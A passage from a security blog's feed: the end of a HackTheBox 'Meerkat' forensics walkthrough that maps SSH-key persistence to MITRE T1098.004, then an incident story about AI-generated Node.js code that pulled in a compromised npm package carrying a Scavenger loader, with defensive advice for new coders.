1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/c7f558aa6dde6ee405dd2edf6363fd90_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-can-you-confirm-the-mitre-technique-id-of-this-type-of-persistence-mechanism&#34;&gt;Question 10: Can you confirm the MITRE technique ID of this type of persistence mechanism?&#xA;&lt;/h3&gt;&lt;p&gt;We’ve made it to the final question! For this one, we’ll pivot to the &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; knowledge base of attacker tactics, techniques, and procedures. The goal is to identify the persistence technique ID within the framework.&lt;/p&gt;&#xA;&lt;p&gt;We already have all the pieces:&#xA;&lt;em&gt;Persistence + SSH authorized keys = Account Manipulation: SSH Authorized Keys (T1098.004)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1098/004/&#34;  title=&#34;https://attack.mitre.org/techniques/T1098/004/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Account Manipulation: SSH Authorized Keys&lt;/strong&gt;&#xA;_Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions…_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1098/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to MITRE:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Adversaries may modify the SSH &lt;code&gt;authorized_keys&lt;/code&gt; file to maintain persistence on a victim host. Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The &lt;code&gt;authorized_keys&lt;/code&gt; file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This technique perfectly aligns with the attacker’s behavior we observed in our investigation. Now that we’ve identified their method of persistence and confirmed that Forela’s &lt;em&gt;Bonitasoft&lt;/em&gt; server was compromised, we can wrap up this case.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f9049795378346ea90813886466db60b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/f9049795378346ea90813886466db60b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;22e64b304ed12b645c6d7a83bf9c9797_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;322px&#34; data-flex-grow=&#34;134&#34; height=&#34;596&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/22e64b304ed12b645c6d7a83bf9c9797_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;That’s a wrap on &lt;strong&gt;Meerkat&lt;/strong&gt; and the end of our investigation! A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hack The Box&lt;/strong&gt;&lt;/a&gt; for another awesome challenge.&lt;/p&gt;&#xA;&lt;p&gt;This challenge was a fantastic exercise in network forensics, tying together several important concepts: detecting credential stuffing attacks, identifying CVEs in real-world applications, and uncovering persistence mechanisms like SSH authorized keys.&lt;/p&gt;&#xA;&lt;p&gt;Working through each question, we followed the trail of clues and learned how to pivot between tools like &lt;strong&gt;Zui&lt;/strong&gt;, &lt;strong&gt;Wireshark&lt;/strong&gt;, and &lt;strong&gt;NetworkMiner&lt;/strong&gt; to extract meaningful evidence. I chose this challenge because it’s perfect for sharpening packet analysis skills and offers a realistic approach where flexibility and knowing the right tool for the job can speed up an investigation when timing is critical.&lt;/p&gt;&#xA;&lt;p&gt;It’s pretty cool that with just a PCAP we can reveal how attackers chain techniques, starting with credential stuffing, exploiting a web vulnerability, and then maintaining access through SSH. Awesome!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to &lt;strong&gt;give it a clap&lt;/strong&gt; and &lt;strong&gt;consider following me&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-meerkat-sherlock-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/552&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.hackthebox.com/sherlocks/552&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Flare-VM:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mandiant/flare-vm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Zui/Brim:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.brimdata.io/download/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.brimdata.io/download/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wireshark:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.wireshark.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CVEdetails — CVE-2022–25237:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.cvedetails.com/cve/CVE-2022-25237/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.cvedetails.com/cve/CVE-2022-25237/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;NetworkMiner:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.netresec.com/?page=NetworkMiner&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.netresec.com/?page=NetworkMiner&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Brute Force: Credential Stuffing (T1110.004):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1110/004/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Account Manipulation: SSH Authorized Keys (T1098.004):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1098/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1098/004/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>StumbleSOC Blog Stories  — The Vibe Coding Compromise</title>
            <link>https://stumblesec.com/posts/stumblesoc-blog-stories-the-vibe-coding-compromise/</link>
            <pubDate>Sun, 23 Nov 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/stumblesoc-blog-stories-the-vibe-coding-compromise/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/stumblesoc-blog-stories-the-vibe-coding-compromise/63e8b2c7042ee06bcf5ea662298b9f00_MD5.JPG&#34; alt=&#34;Featured image of post StumbleSOC Blog Stories  — The Vibe Coding Compromise&#34; /&gt;&lt;h3 id=&#34;stumblesoc-stories-the-vibe-coding-compromise&#34;&gt;StumbleSOC Stories: The Vibe Coding Compromise&#xA;&lt;/h3&gt;&lt;h4 id=&#34;so-you-vibe-coded-an-app-but-your-dependencies-havemalware&#34;&gt;So, You Vibe Coded an App? (But your Dependencies Have Malware)&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;360px&#34; data-flex-grow=&#34;150&#34; height=&#34;533&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/stumblesoc-blog-stories-the-vibe-coding-compromise/63e8b2c7042ee06bcf5ea662298b9f00_MD5.JPG&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Photo by &lt;a class=&#34;link&#34; href=&#34;https://unsplash.com/@almoya?utm_source=medium&amp;amp;utm_medium=referral&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Aerps.com&lt;/a&gt; on &lt;a class=&#34;link&#34; href=&#34;https://unsplash.com?utm_source=medium&amp;amp;utm_medium=referral&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Unsplash&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&#xA;&lt;/h3&gt;&lt;p&gt;This week, I&amp;rsquo;m taking a break from my usual weekly walkthrough format to try something different. This is the first edition of my real world diary series, &lt;strong&gt;StumbleSOC&lt;/strong&gt; &lt;strong&gt;Stories&lt;/strong&gt;: &lt;em&gt;A collection of field notes and anecdotes&lt;/em&gt;. This particular case is adapted from a short presentation I gave to a team of software developers about a real-world incident back in &lt;strong&gt;July 2025&lt;/strong&gt; meant as a cautionary tale that bridges &lt;strong&gt;blue team&lt;/strong&gt; operations, &lt;strong&gt;DevOps&lt;/strong&gt;, and the rise of &lt;strong&gt;vibe coding&lt;/strong&gt; with &lt;strong&gt;open source software supply chain attacks.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll take an inside-out approach, exploring how a security alert investigation lead to stumbling upon a &lt;em&gt;software supply chain&lt;/em&gt; compromise. But what&amp;rsquo;s the catch? Well, the malware was delivered through &lt;strong&gt;AI-generated code&lt;/strong&gt; created using a &lt;strong&gt;Generative AI&lt;/strong&gt; tool outside of corporate governance policies, creating a perfect opportunity for risk.&lt;/p&gt;&#xA;&lt;p&gt;This blog is especially relevant for those new to coding who rely on &lt;em&gt;vibe coding&lt;/em&gt; — experimenting with &lt;em&gt;GenAI&lt;/em&gt; prompt-based coding and trusting the output without fully understanding the implications. The goal here is to illustrate how quickly curiosity can turn into compromise with a brief look from a network defender&amp;rsquo;s point of view, and some practical tips to prevent something like this from happening to you.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-alert-that-started-itall&#34;&gt;The Alert That Started It All&#xA;&lt;/h3&gt;&lt;p&gt;This story starts as all good stories do — a hot summer&amp;rsquo;s day and a high-severity incident firing from a newly onboarded user&amp;rsquo;s device:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;&lt;em&gt;Potential hands-on-keyboard pre-ransom activity detected&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;It&amp;rsquo;s enough to make the hairs on the back of any defender&amp;rsquo;s neck stick up, and that&amp;rsquo;s what kicked off the triage. Three alerts, one incident, and a suspicious file: &lt;code&gt;node-gyp.dll&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;While this file was tagged as malware, at first glance, it looked like a false positive. Nothing overtly suspicious was observed, and &lt;a class=&#34;link&#34; href=&#34;https://virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; showed low detection rates.&lt;/p&gt;&#xA;&lt;p&gt;But something was strange: this workstation belonged to a new, non-developer user, we&amp;rsquo;ll call him &amp;ldquo;&lt;em&gt;Justin&lt;/em&gt;,&amp;rdquo;&#xA;and the DLL was linked to the package &lt;code&gt;napi-postinstall&lt;/code&gt; — a &lt;strong&gt;Node.js&lt;/strong&gt; package with millions of downloads and favorable metrics.&lt;/p&gt;&#xA;&lt;p&gt;What was &amp;ldquo;Justin&amp;rdquo; doing with &lt;em&gt;Node.js&lt;/em&gt; anyway?&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-aistumble&#34;&gt;&lt;strong&gt;The AI Stumble&lt;/strong&gt;&#xA;&lt;/h3&gt;&lt;p&gt;Further investigation led to an interview with &amp;ldquo;Justin&amp;rdquo;, and that&amp;rsquo;s when it clicked:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&amp;ldquo;I&amp;rsquo;m really REALLY ignorant about this stuff. I was messing with it to try and learn more about coding and Ai prompting.&amp;ldquo;Translation: &lt;strong&gt;Vibe coding&lt;/strong&gt;. This is the currently trending practice of using &lt;em&gt;Generative AI&lt;/em&gt; to generate code or prompt an app into existence. This user had used their personal &lt;em&gt;Generative AI&lt;/em&gt; chat subscription to generate &lt;em&gt;Node.js&lt;/em&gt; code with the goal of learning to code and experiment with &lt;strong&gt;AI&lt;/strong&gt; prompting.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;While this is a totally valid use case on its own, you can probably guess where this is going. Once run, the &lt;em&gt;AI-generated code&lt;/em&gt; pulled dependencies from the &lt;strong&gt;NPM registry&lt;/strong&gt;. One of those was the &lt;code&gt;napi-postinstall&lt;/code&gt; script, which contained instructions to execute the suspicious &lt;code&gt;node-gyp.dll&lt;/code&gt;. The user ran the code on their corporate device, and that&amp;rsquo;s when the alerts fired.&lt;/p&gt;&#xA;&lt;h3 id=&#34;malware-or-misunderstanding&#34;&gt;&lt;strong&gt;Malware or Misunderstanding?&lt;/strong&gt;&#xA;&lt;/h3&gt;&lt;p&gt;Okay, so we now understand the &lt;em&gt;how&lt;/em&gt;, but &lt;em&gt;why&lt;/em&gt; did the endpoint detection tool flag &lt;code&gt;node-gyp.dll&lt;/code&gt; as malicious?&lt;/p&gt;&#xA;&lt;p&gt;Remember, &lt;em&gt;VirusTotal&lt;/em&gt; showed minimal detections at the time of the alert. The package looked clean. But the next day, the detection rate skyrocketed as reports started rolling in overnight — there was even a CVE assigned (&lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/CVE-2025-54313&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CVE-2025-54313&lt;/strong&gt;&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update — January 2026:&lt;/strong&gt; This CVE has also been added to &lt;em&gt;CISA&amp;rsquo;s Known Exploited Vulnerabilities Catalog&lt;/em&gt; as of January 22nd, 2026.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;853px&#34; data-flex-grow=&#34;355&#34; height=&#34;225&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/stumblesoc-blog-stories-the-vibe-coding-compromise/9142a64c69e2526e8f9885b1594a9acb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/c68e42f416f482d43653f36cd14384270b54b68d6496a8e34ce887687de5b441/detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/c68e42f416f482d43653f36cd14384270b54b68d6496a8e34ce887687de5b441/detection&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;From the excellent reporting by &lt;a class=&#34;link&#34; href=&#34;https://socket.dev/blog/npm-phishing-campaign-leads-to-prettier-tooling-packages-compromise&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Socket.dev&lt;/strong&gt;&lt;/a&gt;, it was revealed that this &lt;strong&gt;DLL&lt;/strong&gt; was part of a broader campaign. A phishing attack had compromised an NPM maintainer&amp;rsquo;s token, allowing attackers to inject malware into several trusted packages, including the one found on Justin&amp;rsquo;s workstation: &lt;code&gt;napi-postinstall&lt;/code&gt; version &lt;code&gt;0.3.1&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In other words, textbook &lt;strong&gt;software&lt;/strong&gt; &lt;strong&gt;supply chain attack&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;meetthemalware-the-scavenger-family&#34;&gt;&lt;strong&gt;Meet the Malware: The Scavenger Family&lt;/strong&gt;&#xA;&lt;/h3&gt;&lt;p&gt;Understanding that this was a &lt;strong&gt;true positive&lt;/strong&gt; meant getting a better understanding of the malware. According to the &lt;em&gt;VirusTotal&lt;/em&gt; family label, this confirmed-malicious &lt;strong&gt;DLL&lt;/strong&gt;, &lt;code&gt;node-gyp.dll&lt;/code&gt;, belongs to the &lt;strong&gt;Scavenger&lt;/strong&gt; malware family. According to &lt;a class=&#34;link&#34; href=&#34;https://malpedia.caad.fkie.fraunhofer.de/details/win.scavenger&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Malpedia&lt;/strong&gt;&lt;/a&gt;, &lt;em&gt;Scavenger&lt;/em&gt; is:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A stealthy, two-stage malware family first observed in July 2025 following a targeted supply chain attack on the NPM ecosystem. The infection began with a phishing campaign that leveraged a typo-squatted domain (npnjs.com) to impersonate the legitimate NPM login page.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, what we observed was the &lt;em&gt;Scavenger Loader&lt;/em&gt; component. In this case, thanks to the endpoint detection response (EDR) tool on the victim&amp;rsquo;s device, the sensor flagged the behavior of the &lt;em&gt;first-stage&lt;/em&gt; &lt;em&gt;loader&lt;/em&gt; (&lt;code&gt;node-gyp.dll&lt;/code&gt;) triggered via &lt;code&gt;rundll32.exe&lt;/code&gt; as suspicious.&lt;/p&gt;&#xA;&lt;p&gt;Then the &lt;em&gt;antivirus software&lt;/em&gt; identified the malicious &lt;em&gt;Scavenger&lt;/em&gt; DLL as malware and terminated it during execution, preventing the second-stage infostealer payload from being retrieved. The threat was quarantined, and no data collection or exfiltration occurred.&lt;/p&gt;&#xA;&lt;p&gt;While this is a great example of behavioral detection working as intended, even when signature-based detection lagged behind, it&amp;rsquo;s also a great example of how &lt;em&gt;technical controls&lt;/em&gt; are essential even when the &lt;em&gt;administrative policy controls&lt;/em&gt; (like an Acceptable Use Policy) should have deterred this from happening to begin with.&lt;/p&gt;&#xA;&lt;p&gt;Yes, the user &lt;em&gt;technically&lt;/em&gt; executed the code but is it really their fault or simply bad timing that created another victim downstream?&lt;/p&gt;&#xA;&lt;h3 id=&#34;understanding-the-open-source-software-supply-chainrisk&#34;&gt;&lt;strong&gt;Understanding the Open Source Software Supply Chain Risk&lt;/strong&gt;&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s pull back a little and look at the bigger picture. Modern applications rely on hundreds of &lt;strong&gt;third-party dependencies&lt;/strong&gt;. Even if you&amp;rsquo;re confident your code (or your &lt;em&gt;AI-generated code&lt;/em&gt;) is safe, your &lt;em&gt;dependencies&lt;/em&gt; might not be. And when those &lt;em&gt;dependencies&lt;/em&gt; are compromised, the impact can cascade downstream, which is exactly what we saw earlier happen with our victim, &amp;ldquo;Justin&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;The risk is that supply chain attacks aren&amp;rsquo;t just about initial access. They&amp;rsquo;re about the attacker&amp;rsquo;s objectives and impact. A few examples might include:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Stealing cloud service keys, SSH credentials, and maintainer tokens.&lt;/li&gt;&#xA;&lt;li&gt;Dropping backdoors.&lt;/li&gt;&#xA;&lt;li&gt;Lateral movement in enterprise networks.&lt;/li&gt;&#xA;&lt;li&gt;Data theft and ransomware.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Not good, but the worst part? A story like this isn&amp;rsquo;t an isolated incident. A quick search for &amp;ldquo;Software Supply Chain Attack&amp;quot;shows dozens of results per week across multiple &lt;strong&gt;package repositories&lt;/strong&gt; like &lt;em&gt;NPM&lt;/em&gt; or &lt;strong&gt;PyPI&lt;/strong&gt;. Despite this being an example from July 2025, this is still an ongoing, pervasive, and real threat.&lt;/p&gt;&#xA;&lt;h3 id=&#34;so-what-can-wedo&#34;&gt;&lt;strong&gt;So, What Can We Do?&lt;/strong&gt;&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s tie this together and come up with some practical advice — especially for new developers or &lt;em&gt;vibe-coding&lt;/em&gt; hobbyists like Justin.&lt;/p&gt;&#xA;&lt;h4 id=&#34;for-vibecoders&#34;&gt;For Vibe Coders:&#xA;&lt;/h4&gt;&lt;p&gt;If you&amp;rsquo;re new to software development and rely on &lt;em&gt;vibe coding&lt;/em&gt; as your entry point, remember this: &lt;strong&gt;AI&lt;/strong&gt; &lt;strong&gt;doesn&amp;rsquo;t guarantee security&lt;/strong&gt;. It can pull in compromised packages without warning, just like the victim in this story. So how does a novice developer verify the integrity of &lt;em&gt;AI-generated code&lt;/em&gt;?&lt;/p&gt;&#xA;&lt;p&gt;While it&amp;rsquo;s a tough nut to crack, and I don&amp;rsquo;t have all the answers, we can start with some basics. There&amp;rsquo;s an old cybersecurity adage: &amp;ldquo;&lt;em&gt;You can&amp;rsquo;t defend what you don&amp;rsquo;t know exists.&lt;/em&gt;&amp;rdquo; In this example, it&amp;rsquo;s true.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Start with some Operational Security Fundamentals&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Don&amp;rsquo;t assume AI-generated code is safe. AI can pull in dependencies without context. There&amp;rsquo;s a reason these tools call out that they can make mistakes. Always verify.&lt;/li&gt;&#xA;&lt;li&gt;Separate your learning environment from your daily driver. If you&amp;rsquo;re experimenting, use a &lt;strong&gt;Virtual Machine&lt;/strong&gt; or segmented development environment — not your organization&amp;rsquo;s resources.&lt;/li&gt;&#xA;&lt;li&gt;Stay within approved tools and environments. Governance exists for a reason. If your organization has an approved &lt;em&gt;GenAI&lt;/em&gt; application, they probably have some guardrails in place.&lt;/li&gt;&#xA;&lt;li&gt;Never tamper with your anti-malware or security software. Yes, I&amp;rsquo;ve seen this happen, but those tools and alerts saved the day in this case and prevented further impact.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Know Your Dependencies&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For &lt;em&gt;Node.js&lt;/em&gt; applications, use &lt;code&gt;npm ls&lt;/code&gt; to list dependencies and &lt;code&gt;[npm audit](https://docs.npmjs.com/auditing-package-dependencies-for-security-vulnerabilities)&lt;/code&gt; to check for known &lt;strong&gt;vulnerabilities&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Investigate suspicious findings by looking up packages on sites like &lt;a class=&#34;link&#34; href=&#34;https://socket.dev/npm/package/napi-postinstall&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Socket.dev&lt;/strong&gt;&lt;/a&gt; or &lt;a class=&#34;link&#34; href=&#34;https://snyk.io/advisor/npm-package/napi-postinstall&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Snyk&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;In this example, tools like these would have flagged &lt;code&gt;napi-postinstall&lt;/code&gt; as compromised. Only version &lt;code&gt;0.3.1&lt;/code&gt; was affected, but that information was available if the victim had known where to look.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Scale Up with Security Tools&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;While manual checks help, they&amp;rsquo;re not scalable. Eventually, you&amp;rsquo;ll want to integrate:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Software Composition Analysis (SCA)&lt;/strong&gt; tools like &lt;a class=&#34;link&#34; href=&#34;https://owasp.org/www-project-dependency-check/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;OWASP Dependency-Check&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Static Application Security Testing (SAST)&lt;/strong&gt; for &lt;strong&gt;source code analysis&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Dynamic Application Security Testing&lt;/strong&gt; (&lt;strong&gt;DAST&lt;/strong&gt;) for &lt;strong&gt;runtime vulnerability detection&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;key-takeaways&#34;&gt;Key Takeaways&#xA;&lt;/h3&gt;&lt;ul&gt;&#xA;&lt;li&gt;Verify AI-generated code: don&amp;rsquo;t trust it blindly.&lt;/li&gt;&#xA;&lt;li&gt;Separate experimental environments from production systems.&lt;/li&gt;&#xA;&lt;li&gt;Use dependency checks (&lt;code&gt;npm ls&lt;/code&gt;, &lt;code&gt;npm audit&lt;/code&gt;) and reputation tools.&lt;/li&gt;&#xA;&lt;li&gt;Adopt SCA and SAST tools as you grow.&lt;/li&gt;&#xA;&lt;li&gt;Never disable security tools. They&amp;rsquo;re your last line of defense.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;final-thoughts&#34;&gt;&lt;strong&gt;Final Thoughts&lt;/strong&gt;&#xA;&lt;/h3&gt;&lt;p&gt;This saga reminded me how quickly a learning experiment can become a &lt;strong&gt;security incident&lt;/strong&gt;. Awareness is important! Understand that there is risk in the trust-based open source ecosystem. Maintainers are not infallible. With that said, there is obvious value in using &lt;em&gt;GenAI&lt;/em&gt; to learn about building applications, and harnessing that power can bring tremendous results. AI is powerful, but it&amp;rsquo;s also not infallible. And when it intersects with &lt;strong&gt;o&lt;/strong&gt;pen-source ecosystems, the risks multiply.&lt;/p&gt;&#xA;&lt;p&gt;But we users also bear the burden of validating the output of these tools and the risks. Just like in standard software development lifecycles, it&amp;rsquo;s important to move security early into the development of new applications and always be thinking about it as much as you think about the final result. Applying security principles like &lt;em&gt;software composition analysis&lt;/em&gt; and &lt;em&gt;vulnerability management&lt;/em&gt; is important, fundamentally important, even if you&amp;rsquo;re new. Security is a vibe too.&lt;/p&gt;&#xA;&lt;p&gt;This is just a small slice of the bigger pie, and I hope it gave you something to chew on. Thanks for your support and for your time together. If you found this post interesting, don&amp;rsquo;t forget to give it a clap and consider following me for more content like this! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;I also want to give a quick shout-out to my colleague &lt;a class=&#34;link&#34; href=&#34;https://medium.com/u/609b9236eebf&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Giovanni Contino&lt;/a&gt; for generously lending his time — and his developer brain — to review this post. His insights and feedback helped ground the content in real-world dev experience.&lt;/p&gt;&#xA;&lt;p&gt;Until next week — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;references&#34;&gt;&lt;strong&gt;References&lt;/strong&gt;&#xA;&lt;/h3&gt;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Socket — &amp;quot; # &amp;ldquo;Active Supply Chain Attack: npm Phishing Campaign Leads to Prettier Tooling Packages Compromise&amp;rdquo;:&lt;/strong&gt; 